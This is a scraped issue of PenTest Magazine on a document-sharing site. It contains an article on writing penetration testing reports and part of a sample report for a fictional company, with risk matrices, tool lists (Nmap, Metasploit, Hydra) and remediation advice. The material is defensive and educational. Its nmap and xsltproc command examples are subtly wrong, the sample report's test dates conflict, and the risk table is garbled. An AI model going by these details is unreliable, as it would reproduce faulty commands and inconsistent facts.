PenTest 04_2015

Published on December 2016 | Categories: Documents | Downloads: 103 | Comments: 0 | Views: 2345
of 99
Download PDF   Embed   Report

PenTest 04_2015

Comments

Content

Cyber Security Auditing Software

Improve your
Firewall Auditing
As a penetration tester you have to be an expert in multiple
technologies. Typically you are auditing systems installed and
maintained by experienced people, often protective of their own
methods and technologies. On any particular assessment testers may
have to perform an analysis of Windows systems, UNIX systems, web
applications, databases, wireless networking and a variety of network
protocols and firewall devices. Any security issues identified within
those technologies will then have to be explained in a way that both
management and system maintainers can understand.
he network scanning phase of a
penetration assessment will quickly
identify a number of security
weaknesses and services running on the
scanned systems. This enables a tester to
quickly focus on potentially vulnerable
systems and services using a variety of tools
that are designed to probe and examine
them in more detail e.g. web service query
tools. However this is only part of the picture
and a more thorough analysis of most
systems will involve having administrative
access in order to examine in detail how
they have been configured. In the case of
firewalls, switches, routers and other
infrastructure devices this could mean
manually reviewing the configuration files
saved from a wide variety of devices.
Although various tools exist that can
examine some elements of a configuration,
the assessment would typically end up
being a largely manual process. Nipper
Studio is a tool that enables penetration
testers, and non-security professionals, to
quickly perform a detailed analysis of
network infrastructure devices. Nipper
Studio does this by examining the actual
configuration of the device, enabling a much
more comprehensive and precise audit than
a scanner could ever achieve.
www.titania.com

PenTest Magazine | Penetration Testing in Practice

Contents
Writing an Effective Penetration Testing Report �������������������������������������������������������������������������������������������������������8
High-Level Security Assessment ����������������������������������������������������������������������������������������������������������������������������8
Tools of the Trade ��������������������������������������������������������������������������������������������������������������������������������������������������������9
Network reconnaissance & scanning ��������������������������������������������������������������������������������������������������������������9
Vulnerability indentification & investigation ����������������������������������������������������������������������������������������������������9
Exploitation of vulnerabilities ������������������������������������������������������������������������������������������������������������������������������9
Business Case ��������������������������������������������������������������������������������������������������������������������������������������������������������������9
Planning and Preparation ���������������������������������������������������������������������������������������������������������������������������������������� 10
Risk Management �������������������������������������������������������������������������������������������������������������������������������������������������������11
Gathering and Translating Raw Data ������������������������������������������������������������������������������������������������������������������� 12
Analyze and Filter Your Data ���������������������������������������������������������������������������������������������������������������������������� 12
Converting Data ���������������������������������������������������������������������������������������������������������������������������������������������������� 12
Secure Data Exchange/Transmission ����������������������������������������������������������������������������������������������������������� 12
Translating Raw Data ������������������������������������������������������������������������������������������������������������������������������������������ 13
Project Proposal ��������������������������������������������������������������������������������������������������������������������������������������������������������� 14
Project Activities ��������������������������������������������������������������������������������������������������������������������������������������������������������� 14
Deliverables ����������������������������������������������������������������������������������������������������������������������������������������������������������������� 15

4

Sample Penetration Testing Report ��������������������������������������������������������������������������������������������������������������������������� 16
Document Information ���������������������������������������������������������������������������������������������������������������������������������������������� 16
1 Introduction �������������������������������������������������������������������������������������������������������������������������������������������������������������� 17
2 Document Scope ��������������������������������������������������������������������������������������������������������������������������������������������������� 17
2.1 Scope of Test ������������������������������������������������������������������������������������������������������������������������������������������������� 17
2.2 Limitation ��������������������������������������������������������������������������������������������������������������������������������������������������������� 17
2.3 Purpose of Test ��������������������������������������������������������������������������������������������������������������������������������������������� 17
3 Project Details ��������������������������������������������������������������������������������������������������������������������������������������������������������� 18
3.1 Project Description ��������������������������������������������������������������������������������������������������������������������������������������� 18
4 Executive Summary ���������������������������������������������������������������������������������������������������������������������������������������������� 18
4.1 Summary ��������������������������������������������������������������������������������������������������������������������������������������������������������� 18
4.2 Approach �������������������������������������������������������������������������������������������������������������������������������������������������������� 18
4.3 Scope of Work ����������������������������������������������������������������������������������������������������������������������������������������������� 18
4.4 Project Objectives ���������������������������������������������������������������������������������������������������������������������������������������� 18
4.5 Timeline ����������������������������������������������������������������������������������������������������������������������������������������������������������� 19
4.6 Summary of Findings ���������������������������������������������������������������������������������������������������������������������������������� 19
4.7 Summary of Recommendations ��������������������������������������������������������������������������������������������������������������� 20
5 Methodology ������������������������������������������������������������������������������������������������������������������������������������������������������������ 21
5.1 Planning ����������������������������������������������������������������������������������������������������������������������������������������������������������� 22
5.2 Exploitation ����������������������������������������������������������������������������������������������������������������������������������������������������� 22
5.3 Reporting ��������������������������������������������������������������������������������������������������������������������������������������������������������� 22
6 Detailed Findings ��������������������������������������������������������������������������������������������������������������������������������������������������� 23
6.1 Detailed Systems Information ������������������������������������������������������������������������������������������������������������������� 23
6.2 Configuration Security Audit (CSA) �������������������������������������������������������������������������������������������������������� 23
6.3 Overall Risks �������������������������������������������������������������������������������������������������������������������������������������������������� 24
6.3 Passwords/Keys Found ������������������������������������������������������������������������������������������������������������������������������ 24
6.2 Vulnerable Hosts ������������������������������������������������������������������������������������������������������������������������������������������� 25

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
7 Conclusion ��������������������������������������������������������������������������������������������������������������������������������������������������������������� 25
8 References ��������������������������������������������������������������������������������������������������������������������������������������������������������������� 26
Hardening VoIP protocols ��������������������������������������������������������������������������������������������������������������������������������������������� 28
Security Socket Layer (SSL) and SIP ����������������������������������������������������������������������������������������������������������������� 28
Secure RTP ������������������������������������������������������������������������������������������������������������������������������������������������������������������ 29
Advanced Encryption Standard (AES) ���������������������������������������������������������������������������������������������������������������� 29
HMAC-SHA1 ���������������������������������������������������������������������������������������������������������������������������������������������������������������� 30
Auth Tag ������������������������������������������������������������������������������������������������������������������������������������������������������������������������ 30
Method of Key Distribution ������������������������������������������������������������������������������������������������������������������������������������� 31
ZRTP ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ 31
Zfone ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������ 31
Firewalls ������������������������������������������������������������������������������������������������������������������������������������������������������������������������ 32
Network Address Translation (NAT) ��������������������������������������������������������������������������������������������������������������������� 32
Session Border Controllers (SBCs) ��������������������������������������������������������������������������������������������������������������������� 32
Signature-based IDS Algorithms �������������������������������������������������������������������������������������������������������������������������������� 33
Naive string search ��������������������������������������������������������������������������������������������������������������������������������������������������� 34
Aho-Corasick string matching algorithm ������������������������������������������������������������������������������������������������������������ 36
KMP (Knuth-Morris-Pratt) Pattern Searching ���������������������������������������������������������������������������������������������������� 39
The Karp-Rabin Algorithm �������������������������������������������������������������������������������������������������������������������������������������� 43
Boyer-Moore Pattern Searching ��������������������������������������������������������������������������������������������������������������������������� 44
Signature-based IDS benefits �������������������������������������������������������������������������������������������������������������������������������� 46
Signature-based IDS restrictions and disadvantages ����������������������������������������������������������������������������������� 46
Practice task ���������������������������������������������������������������������������������������������������������������������������������������������������������������� 47
Includes ������������������������������������������������������������������������������������������������������������������������������������������������������������������ 48
Format ��������������������������������������������������������������������������������������������������������������������������������������������������������������������� 48
Variables ����������������������������������������������������������������������������������������������������������������������������������������������������������������� 48
Format ��������������������������������������������������������������������������������������������������������������������������������������������������������������������� 48

5

How to detect the Vulnerabilities Used in XSS Attacks ��������������������������������������������������������������������������������������� 49
How to trick the users ���������������������������������������������������������������������������������������������������������������������������������������� 59
Write your first XSS exploit ������������������������������������������������������������������������������������������������������������������������������������� 61
Conclusions ����������������������������������������������������������������������������������������������������������������������������������������������������������������� 64
Tutorial 1 – Creating a Safe Testing Environment ������������������������������������������������������������������������������������������������� 66
Session 1 – Setting up a virtual lab ��������������������������������������������������������������������������������������������������������������������� 66
The Firewall ���������������������������������������������������������������������������������������������������������������������������������������������������������� 76
Broken Authentication and Session Management ������������������������������������������������������������������������������������������������ 79
Command Injection ��������������������������������������������������������������������������������������������������������������������������������������������������� 79
SQL Injection �������������������������������������������������������������������������������������������������������������������������������������������������������������� 83
Code Injection ������������������������������������������������������������������������������������������������������������������������������������������������������������� 85
Xpath Injection ������������������������������������������������������������������������������������������������������������������������������������������������������������ 86
RegEx Injection ����������������������������������������������������������������������������������������������������������������������������������������������������������� 86
XXE (XML External Entities) Injection ������������������������������������������������������������������������������������������������������������������ 87
A2 Broken Authentication And Session Management ����������������������������������������������������������������������������������� 88
1. Storing user credentials without hashing or encrypting them ���������������������������������������������������������� 88
2. Easily guessed passwords �������������������������������������������������������������������������������������������������������������������������� 88
3. Poorly secured password change features �������������������������������������������������������������������������������������������� 88

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
4. Poorly secured password recovery features ����������������������������������������������������������������������������������������� 88
5. Session IDs exposed in a URL. ������������������������������������������������������������������������������������������������������������������ 89
6. Session IDs are vulnerable to session fixation attacks. ���������������������������������������������������������������������� 89
7. Session IDs don’t reasonably timeout or sessions aren’t properly
invalidated during logout ������������������������������������������������������������������������������������������������������������������������������ 89
8. Session IDs aren’t rotated after a successful login ������������������������������������������������������������������������������ 89
9. Passwords, session IDs, and other credentials are sent over unencrypted connections ������� 89
10. Browser caching is enabled ��������������������������������������������������������������������������������������������������������������������� 90
Finally ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������� 90
Summary ���������������������������������������������������������������������������������������������������������������������������������������������������������������������� 90
1. Initialize ��������������������������������������������������������������������������������������������������������������������������������������������������������������� 91
2. Notify ������������������������������������������������������������������������������������������������������������������������������������������������������������������� 91
6. Request Validation. ����������������������������������������������������������������������������������������������������������������������������������������������� 91
7. User Verification ���������������������������������������������������������������������������������������������������������������������������������������������� 92
8. Reset Password ����������������������������������������������������������������������������������������������������������������������������������������������� 92
9. De-Tokenize ������������������������������������������������������������������������������������������������������������������������������������������������������ 92
10. Notify, Again ��������������������������������������������������������������������������������������������������������������������������������������������������� 92
11. Login ����������������������������������������������������������������������������������������������������������������������������������������������������������������� 92
Penetration Testing with Perl ���������������������������������������������������������������������������������������������������������������������������������������� 93
That was Then, This is Now ������������������������������������������������������������������������������������������������������������������������������������ 93
Who This Book is For ����������������������������������������������������������������������������������������������������������������������������������������������� 94
What’s Inside ��������������������������������������������������������������������������������������������������������������������������������������������������������������� 94

6

PenTest Magazine |

Editor in Chief: Milena Bobrowska
[email protected]
Managing Editor: Milena Bobrowska
[email protected]
Editorial Advisory Board: Jeff Weaver, Rebecca Wynn
Betatesters & Proofreaders: Abishek Kar, Phil Patrick,
Steven Wierckx, Krishore PV, Tim Thorniley, Tom
Updegrove, Elia Pinto, Brandon Dixon, Ivan Gutierrez
Agramont, Sandesh Kumar, Pradeep Mishra, Amit Chugh,
Johnette Moody, Steven Hodge, Michał Stawieraj, Kashif
Aftab, Jeff Smith, Jordi Rubio, Mardian Gunawan, Arnoud
Tijssen, David Kosorok, Mbella Ekoume, Viswa Prakash,
Michal Jahim.
Special Thanks to the Beta testers and Proofreaders who
helped us with this issue. Without their assistance there
would not be
a PenTest magazine.

[ GEEKED AT BIRTH ]

Senior Consultant/Publisher: Pawel Marciniak
CEO: Ewa Dudzic
[email protected]
DTP: Ireneusz Pogroszewski
Art Director: Ireneusz Pogroszewski
[email protected]
Publisher: Hakin9 Media Sp. z o.o. SK
02-676 Warsaw, Poland
ul. Postepu 17D
Phone: 1 917 338 3631
www.pentestmag.com
Whilst every effort has been made to ensure the high quality
of the magazine, the editors make no warranty, express or
implied, concerning the results of content usage.
All trade marks presented in the magazine were used
only for informative purposes.
All rights to trade marks presented in the magazine are
reserved by the companies which own them.

DISCLAIMER!

The techniques described in our articles may
only be used in private, local networks. The
editors hold no responsibility for misuse of the
presented techniques or consequent data loss.

You can talk the talk.
Can you walk the walk?

[ IT’S IN YOUR DNA ]
LEARN:
Advancing Computer Science
Artificial Life Programming
Digital Media
Digital Video
Enterprise Software Development
Game Art and Animation
Game Design
Game Programming
Human-Computer Interaction
Network Engineering
Network Security
Open Source Technologies
Robotics and Embedded Systems
Serious Game and Simulation
Strategic Technology Development
Technology Forensics
Technology Product Design
Technology Studies
Virtual Modeling and Design
Web and Social Media Technologies

www.uat.edu > 877.UAT.GEEK
Please see www.uat.edu/fastfacts for the latest information about
degree program performance, placement and costs.

PenTest Magazine | Penetration Testing in Practice

Writing an Effective
Penetration Testing Report

P

enetration test or pentest is a typical security assessment which is the process to gain access
to specific information assets (eq. computer systems, network infrastructure, or application).
Penetration test simulates the attack performed internally or externally by the attackers which
has the intention to find security weaknesses or vulnerabilities and validate the potential impacts and
risks should those vulnerabilities being exploited.
Security issues found through penetration test are presented to the system’s owner, data owner
or risk owner. Effective penetration test will support this information with accurate assessment of
the potential impacts to the organization and range of technical and procedural safeguards should
be planned and executed to mitigate risks.
Many penetration testers are in fact very good in technical since they have skills needed to perform
all of the tests, but they are lack of report writing methodology and approach which create a very
big gap in penetration testing cycle. A penetration test is useless without something tangible to
give to a client or senior management. Report writing is a crucial part for any service providers
(eq. IT service/advisory). A report should detail the outcome of the test and, if you are making
recommendations, document the recommendations to secure any high-risk systems.

8

The target audience of a penetration testing report will vary, technical report will be read by IT
or any responsible information security people while executive summary will definitely be read by
the senior management.
Writing an effective penetration testing report is an art that needs to be learned and to make sure
that the report will deliver the right information to the targeted audience. Detailed steps will be covered
in the next subsequent modules.

High-Level Security Assessment
Security assessment offered by service providers in variety of ways. Each type of service provides
different levels or degrees of security assurance.

Vulnerability assessment (VA) or vulnerability scanning normally offered with the objective to identify
weaknesses or vulnerabilities. Uses automated systems (such as Nessus, eEye Retina or QualisysGuard).
Inexpensive way to make sure no vulnerability exist. Does not have a clear strategy to improve organization’s
security.
Network security assessment is a combination of automated and hands-on manual vulnerability identification
and testing. The report is created, giving practical advice which can improve organization’s security.
Penetration testing involves in multiple attack vectors (eq. wireless testing, social engineering
or client-side testing, or war dialing) to compromise the target environment. Penetration testing can
be done with several accepted methodologies from internal and external environment with different
approaches such as black-box (with no prior knowledge), white-box (with full knowledge) or grey-box
(with some knowledge) depending on the scope of work agreed with the client.
Onsite auditing probably is the most common type of security assessment done in many organizations.
It provides the clearest picture of network security. Local access is given to the testers or consultants
which allow them to explore and identify anything untoward, including rootkits, backdoors, Trojans, weak
passwords, weak permissions or policies, mis-configurations, and other issues.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
The best practice assessment methodology used by security consultants should involves the
following high-level components:





Network reconnaissance to identify networks or hosts
Bulk network scanning and probing to identify potential vulnerable hosts
Vulnerability identification and investigation and further probing (manually)
Exploitation of vulnerabilities and circumvention of security mechanisms

Tools of the Trade
Selecting the right and correct penetration testing tools will help us to focus on the information (data)
to be collected from the target environment. Do not directly confused with the variety of tools available
in the market. Knowing the capabilities and features of the tools is the key to successful security
assessment. Start by evaluating Open Source and commercial tools available in the Internet. Compare
the Open Source with the commercial ones in terms of functions, features and deliverables. Make
sure that the tools you will be choosing can be used through the entire security assessment process.
Do not waste your budget to purchase some commercial tools which you don’t really want to use due
to the lack of capabilities and features. Test the tools before buying them.
Categorizing security assessment tools will help you to find what you are looking for. The following
are the examples of tools commonly used for security assessment which has been categorized based
on the usage objectives:

Network reconnaissance & scanning





Nmap or ZenMap (open source)
Hping (open source)
NetDiscover (open source)
NBTStat (open source)

Vulnerability indentification & investigation






9

Nmap with NSE (open source)
Nessus (commercial)
eEye Retina (commercial)
QualisysGuard (commercial)
OpenVAS (open source)

Exploitation of vulnerabilities






Metasploit Framework (open source)
ExploitPack (open source)
Core Impact (commercial)
Metasploit Express and Pro (commercial)
Immunity CANVAS (commercial)

Most of the tools shown above are available on BackTrack/Kali Linux as well as BackBox Linux
penetration testing distributions.
As for the penetration testing methodologies, we can create our own or adopt from several wellknown standards such as:







NIST SP 800-115, Technical Guide to Information Security Testing and Assessment
OISSG ISSAF, Information Systems Security Assessment Framework
ISECOM OSSTMM, Open Source Security Testing Methodology Manual
OWASP Testing Guide, Open Web Application Security Project
SANS Institute, Conducting a Penetration Test on an Organization
PTES, Penetration Testing Execution Standard

Business Case
Why conduct penetration test? What are the objectives of penetration test? What are the benefit
of penetration test compared to other type of security assessments?

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Those are probably the most common questions raised when we talk about the importance of
penetration test to a prospective clients or organizations.
Answers to the above questions are explained as follows:
From a business perspective, penetration testing helps safeguard your organization against failure,
through:
• Preventing financial loss through fraud (hackers, extortionists and disgruntled employees) or
through lost revenue due to unreliable business systems and processes.
• Proving due diligence and compliance to your industry regulators, customers and shareholders.
Non-compliance can result in your organization losing business, receiving heavy fines, gathering
bad PR or ultimately failing. At a personal level it can also mean the loss of your job, prosecution
and sometimes even imprisonment.
• Protecting your brand by avoiding loss of consumer confidence and business reputation.
From an operational perspective, penetration testing helps shape information security strategy
through:
• Identifying vulnerabilities and quantifying their impact and likelihood so that they can be managed
proactively; budget can be allocated and corrective measures implemented.

Planning and Preparation
Prior to starting a penetration testing project, careful planning and preparation should be done.
Assembling a team is part of the planning itself. A solid team should have members from multiple
knowledge areas based on skills and expertise. Scope of work determines the requirements to
assemble a small or large team. Do not just focus on the penetration testers only, ensure that you can
cover several areas related to project management, quality assurance, network and infrastructure,
applications, risk analysis, and etc.

10

Figure 1. Sample Pentest Project Team (Small)
Table 1. Sample Project Team Resources (Small)

PenTest Magazine |

No.

Position/Function

Resource Name

1.

Project Manager (PM)

A

2.

Quality Assurance (QA)

B

3.

Senior Security Analyst/Lead Pentester

C

4.

Security Analyst/Pentester #1

D

5.

Security Analyst/Pentester #2

E

6.

Technical Documentation

F

7.

Network Infrastructure Specialist

G

8.

Application Specialist

H

Penetration Testing in Practice | PenTest Magazine
In the above example, we use 8 (eight) resources to perform several tasks in a small pentest project.
Always remember the successful project factors or components: scope, schedule, budget and resources.

Risk Management
Risk calculation and analysis are part of the overall risk management. An effective penetration testing
report should include at minimum, risk calculation and analysis. Guide to risk management can be
easily found from several resources in the Internet (eq. NIST SP800-30, Risk Management Guide for
Information Technology Systems).
Components of risk analysis explained as follows:

Threat – a possible danger that might exploit a vulnerability to breach security and thus cause
possible harm.
Vulnerability – a weakness which allows an attacker to reduce a system’s information assurance.
Vulnerability is the intersection of three elements: a system susceptibility or flaw, attacker access
to the flaw, and attacker capability to exploit the flaw.
Impact – a successful threat exercise of a vulnerability (internal or external).
Risk rating based on this calculation:
Risk = Threat x Vulnerability x Impact

After calculating the risk rating, we start writing report on each risk and how to mitigate it
(risk mitigation or reduction).
Table 2. Risk Analysis and Rating Calculation

Risk Analysis
Threat

 

Low

 

 

Medium

 

High

Vulnerability

L

M

H

C

L

M

Impact

Low

1

2

3

4

1

 

Medium

2

4

6

8

 

High

3

6

9

 

Critical

4

8

12

 

 

Critical

 

 

H

C

L

M

H

C

L

M

H

C

4

6

8

3

6

9

12

4

8

12

16

4

8

12

16

6

12

18

24

8

18

24

32

12

6

12

18

24

9

18

27*

36

12

24

36

48

16

8

16

24

32

12

24

36

48

16

32

48

64

11

Rating Calculation
L

Low

1 – 16

M

Medium

17 – 32

H

High

33 – 48

C

Critical

49 – 64

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Table 3. Sample Risk Analysis (Overall)
Host Type

Threat

Vulnerability

Impact

Risk

Networking Devices

3.0

2.0

2.0

12.0

Operating Systems

3.0

3.0

3.0

27.9

Average

3.0

2.5

2.5

19.5

Gathering and Translating Raw Data
Analyze and Filter Your Data
Penetration testing team members should collect useful information (data) from the field, assuming
that they are working in client’s environment. Analyze and filter information gathered. Categorize
information based on the adopted pentest methodology so that you can focus on collecting “good
and useful” data and not a bunch of trash. Always document your steps and provide screenshots or
any good evidence (this will be useful in case the clients want to repeat the same testing processes).
Step by step documentation is not really mandatory but they are really helpful in certain situations.
I did this a lot.

Converting Data
Data translation might be needed in certain scenarios. You might want all of your team members to
have a standard in translating collected data. Raw data can be easily translated to multiple type of file
formats such as text, xml, html, png, jpg and etc.

12

The following shows you an example of converting data from an xml to an html file format:
nmap –A –iL targets.txt –A output

The above command results three different types of files:
Filename

File Type

output.nmap

Text file

output.gnmap

Grepable text file

output.xml

XML file

Now we can convert the output.xml to output.html as shown below:
xsltproc output.xml output.html

Secure Data Exchange/Transmission
Raw data collected should be sent regularly or at a specific time period (scheduled), as agreed
by team leader and members. Any information (data) collected is treated as “confidential” as stated
in the non-disclosure agreements (NDAs). Avoid sending any information through insecure network
or media. If you can’t avoid using the Internet for exchanging or transmitting the information. Apply
the confidentiality, integrity and availability on the data collected by implementing out-of-band method
of transmitting data, as well as using encryption and hashing such as MD5 to preserve the integrity
of your collected data.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
Translating Raw Data
Effective pentest report should include the representation of your collected raw data, translated
to a meaningful information in different type of formats. The final deliverables should be easily
interpreted by the targeted audience.
You can use tools such as Microsoft Excel and Visio to create a meaningful presentation of your
information such as tables (detailed and summary), charts, diagrams, flows, and etc.
Table 4. Sample Vulnerability by Type
No.

Vulnerability Type

Total

1.

Default or weak password

2.

Mis-configuration

4

3.

Missing patches/updates

6

4.

Weak encryption

2

5.

Miscellaneous

5

10

Total

27

13

Figure 2. Sample Chart – Summary of Vulnerable Hosts

Table 5. Sample Summary of Vulnerable Hosts
No.

Host IP

Hostname

Operating System

Vulnerable

Exploited?

Risk Factor

1.

192.168.1.1

LON-RTR1

Cisco IOS 12.x

Yes

Yes

High

2.

192.168.1.2

LON-RTR2

Cisco IOS 12.x

Yes

No

Medium

3.

192.168.1.3

LON-SW1

Cisco IOS 12.x

Yes

Yes

High

4.

192.168.1.4

LON-SW2

Cisco IOS 12.x

Yes

Yes

High

5.

192.168.1.5

LON-DC1

Windows Server 2003 SP2

Yes

Yes

High

6.

192.168.1.6

LON-SVR1

Windows Server 2003 SP2

Yes

Yes

High

7.

192.168.1.7

LON-WEB1

Windows Server 2008 R2 SP0

Yes

No

Medium

8.

192.168.1.8

LON-APP1

Windows Server 2008 R2 SP0

Yes

No

Medium

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
Project Proposal
Proposal should be kept simple and precise. Project proposal is also called “Statement of Work”,
a persuasive document with the objectives to:
1. Identify what work is to be done
2. Explain why this work needs to be done
3. Persuade the reader that the proposers (you) are qualified for the work, have a plausible
management plan and technical approach, and have the resources needed to complete the task
within the stated time and cost constraints.
A strong proposal has an attractive, professional, inviting appearance. The information (content)
should be easy to access. A strong proposal has a well-organized plan of attack with clear technical
details because technical depth is needed to sell your project. It should have the “why, what, how and
when” components or aspects.
Project proposal should at least consist of several sections as shown in the following examples:
1 Introduction
2 Detailed Project Plan
2.1 Scope of Work (SoW)
2.2 Target of Evaluation
2.3 Project Phases
2.4 Project Duration
2.5 Project Schedule/Timeline
3 Project Management
3.1 Project Organization
3.2 Resources
4 Deliverables
5 Tools and Methodology
6 Miscellaneous
7 Project Experience (based on your team’s experience)
8 Contact
9 Appendices

14

Project Activities
Activities related to a penetration testing project should be clearly defined. We can use this document
to track our project progress by placing the percentage of tasks done. Project management portfolio
tools can be used to help us in visualizing the project activities/tasks in a form of Gantt chart.
Table 6. Sample Project Activities

PenTest Magazine |

No.

Activity/Task

Estimated
Duration (days)

1.

Planning and preparation

2

2.

Kick-off meeting

1

3.

Initial assessment

2

4.

Information gathering

5

5.

Vulnerability identification

5

6.

Risk assessment

3

7.

Exploitation/penetration

5

8.

Post-exploitation (optional)

3

9.

Housekeeping (cleaning-up)

1

10.

Risk calculation (analysis)

2

11.

Reporting

3

12.

Project Closing

1

Start
Date

End
Date

Complete (%)

Penetration Testing in Practice | PenTest Magazine

Figure 3. Sample Gantt chart (not related to Figure 7)

Deliverables
Deliverable is a tangible or intangible object produced as a result of the project that is intended to be
delivered to a client or customer.
The result of a security assessment is a form of deliverable. Deliverables in the form of reports
that will be delivered and reviewed by the client or senior management in several types or formats.
Type of deliverables in pentest project are:
• Executive Summary
• Technical Report

Executive summary report consist of the assessment findings, include recommendations on
how to remediate risks (risk mitigation strategy) with appropriate security controls (safeguards).
Recommendations should cover the people, process, and the technology aspects.
Technical report consist of detailed information related to the assessment findings, include
recommendations on how to remediate risks (risk mitigation strategy) with appropriate security
controls (safeguards).

by Semi Yulianto

15

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice

Sample Penetration
Testing Report
Document Information
Document Details
Company
Document Title

16

ACME
Network Infrastructure – Vulnerability Assessment and Penetration
Testing Report

Version
Due Date
Author
Pen-testers

1.0
01 December 2013
Semi Yulianto
1. Semi Yulianto
2. Arvin Yulianto
3. Andryanto Eka Wijaya

Reviewed by
Approved by
Classification
Document Type

Team
Team
Confidential
Deliverable

Recipients
Name

Quality Assurance
Date
Issue
02/12/2013
Review
03/12/2013
QA/Final
06/12/2013
Approval

Document History
Version
Date
1.0
11/12/2013

PenTest Magazine |

Title

Name
Semi Yulianto
Semi Yulianto
Arvin Yulianto

Department

Title
Senior Security Analyst
Senior Security Analyst
QA Manager

Name
Network Infrastructure – Vulnerability Assessment and
Penetration Testing Report

Completed
02/12/2013
05/12/2013
11/12/2013

Description
Final Report

Penetration Testing in Practice | PenTest Magazine
1 Introduction
A critical problem for public and private institutions is the increasing threat of attack. This is due
to a combination of increasingly sophisticated and automated attack tools, the rapid increase in the
number of vulnerabilities being discovered, and the increasing connectivity of users. As systems
are opened to employees, customers and trading partners, networks becomes more complex
and are more susceptible to a security breach. That is why information security is one of the most
challenging issues facing companies today.
These recent trends in cybercrime make it more critical than ever that organizations acquire a true
assessment of their security vulnerabilities so they can identify and address those vulnerabilities associated
with their most valuable information assets. Your organization’s true vulnerability to threats can be
determined only by answering the following questions in regards to each of your identified vulnerabilities:
• Is the vulnerability real, or is it a false positive?
• Can the vulnerability be exploited?
• Are there any sensitive systems or data exposed by the vulnerability?
Clearly, the answers to these questions will allow you to prioritize your vulnerabilities and structure
your security strategy as effectively and efficiently as possible, instead of simply identifying your
vulnerabilities and then attempting to address them based only on assumptions about risk. One of the
easiest and fastest ways to obtain these answers, both initially, and on an ongoing basis, is to perform
a penetration test on your network.
A penetration test is an authorized, local attempt to “hack” into a system, to identify exploitable
weaknesses, and to reveal what systems and data are at risk. The tester may use several methods
to gain entry to the target network, often initially breaking into one relatively low priority section
and then leveraging it to attack more sensitive areas. Your organization is probably already running
(or wonders what penetration testing offers you that vulnerability scanning do not. It’s simple:
An Information Security Assessment tells you only what an attacker can potentially do to your
environment. A penetration test tells you what an attacker can definitely do to your environment.

17

That’s because penetration tests exploit identified vulnerabilities, just as an attacker would. Unlike
vulnerability scans, penetration tests leave little doubt as to what an attacker can or cannot do.
Penetration tests eliminate the guesswork involved in protecting your network by providing you with
the information you need to effectively prioritize your vulnerabilities.

2 Document Scope
The document hereby describes the proceedings and results of the Information Systems (IS)
Vulnerability Assessment and Penetration Testing (VA-PT) conducted at ACME. The test performed
by our team and took place on 1 Nov – 6 Dec 2013 as part of a special assignment.

2.1 Scope of Test
Scope of the assessment included conducting black-box & white-box testing on the network
infrastructure environment based on the industry standards and guidelines.

2.2 Limitation
The test was limited to certain hosts (IP addresses) provided by the ACME based on the criticality
and business risks of assets being assessed. Due to some technical and non- technical constrains,
several targets were not being exploited during the assignment, and thus non-intrusive Security
Assessment was conducted to avoid risks.

2.3 Purpose of Test
The purpose of test is to provide security assurance, compliance and best practices based
on industry standards and associations such:






SANS Institute
Institute for Security and Open Methodologies – OSSTMM
Open Information Systems Security Group – ISSAF
National Institute of Standards and Technology (NIST)
Payment Card Industry Data Security Standard (PCI DSS)

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice
3 Project Details
3.1 Project Description
The following describes project details based on the assignment:
Name of Organization:

ACME

Target of Evaluation:

Network Infrastructure

Project Duration:

60 (sixty) working days

Sources:

Given IP addresses

Tests Performed:

Phase 1: Information gathering
Phase 2: Vulnerability Assessment
Phase 3: Vulnerability Identification and Analysis
Phase 4: Exploitation
Phase 5: Remediation (fixing) Phase 6: Reporting

Tools Used:









Type of Tests:

Hybrid (Black-box & White-box) Security Tests

Deliverables:

Executive Summary & Technical Report

Nmap
Nessus
MetasploitPro
Metasploit Framework
Hydra
Telnet
Armitage

4 Executive Summary
4.1 Summary
ACME has assigned the task of carrying out VAPT of the Network Infrastructure (servers, firewalls,
intrusion detection systems, and networking devices) located on ACME internal network (data
center). This is the final Penetration Testing report. The assessment was performed from 1 June to
30 July 2013. The detailed report about each task and our findings are described below.

18

The purpose of the test is to determine security posture of the ACME’s environment (Network
Infrastructure). The tests are carried out assuming the identity of an attacker of a user with malicious
intent. At the same time due care is taken not to harm the server or database.

4.2 Approach
The following explains the steps taken during the tests:










Perform live systems detection on targets
Gather information about the targets
Perform unauthorized discovery and mapping of systems, services, or vulnerabilities
Identify and assess vulnerabilities detected
Perform enumeration on targets
Exploit any known vulnerabilities found for proof-of-concept (PoC)
Perform detailed analysis on findings
Calculate and rank risks based on severity and risk factor
Prepare technical and non-technical reports

4.3 Scope of Work
The scope of this security assessment and penetration test was limited to:
• Networking devices (routers and switches)
• Security appliances (firewalls, IDSes and IPSes)
• Server hosts (operating systems)

4.4 Project Objectives
This security assessment is carried out to gauge the security posture of ACME’s network Infrastructure.
The result of the assessment is then analyzed for vulnerabilities. Given the limited time that is given
to perform the assessment, only immediately exploitable services have been tested. The vulnerabilities
are assigned a risk rating based on threat, vulnerability and impact.

PenTest Magazine |

Penetration Testing in Practice | PenTest Magazine
4.5 Timeline
The timeline of the test as follows:
Penetration Test

Start Date/Time

End Date/Time

Initial Testing (Phase 1)

01/11/2013

29/11/2013

Final Testing (Phase 2)

02/12/2013

05/12/2013

Risk Mitigation & Remediation

06/12/2013

10/12/2013

Reporting

11/12/2013

13/12/2013

4.6 Summary of Findings
The following describes the number of risks ranked based on risk factor:
4.6.1 Vulnerability Assessment
Host Type

High

Medium

Low

Networking Devices

0

9

18

Operating System

0

41

11

Total

0

50

29

19

4.6.2 Configuration Security Audit
Host Type

High

Medium

Low

Firewall

0

7

23

IPS

0

3

6

Router

0

37

77

Switch

0

29

49

Total

0

76

155

| PenTest Magazine

PenTest Magazine | Penetration Testing in Practice

4.7 Summary of Recommendations
Several vulnerabilities have been found and it is advisable to perform corrective actions
as stated below:
• If possible, Telnet should be disabled. It is recommended that Secure Shell (SSH) should be used
as a cryptographically secure alternative to Telnet.
• If not required, SNMP should be disabled. However if SNMP is required, Nipper recommends that
only SNMP version 3 should be configured. If access using community strings is required, strong
community strings should be configured.
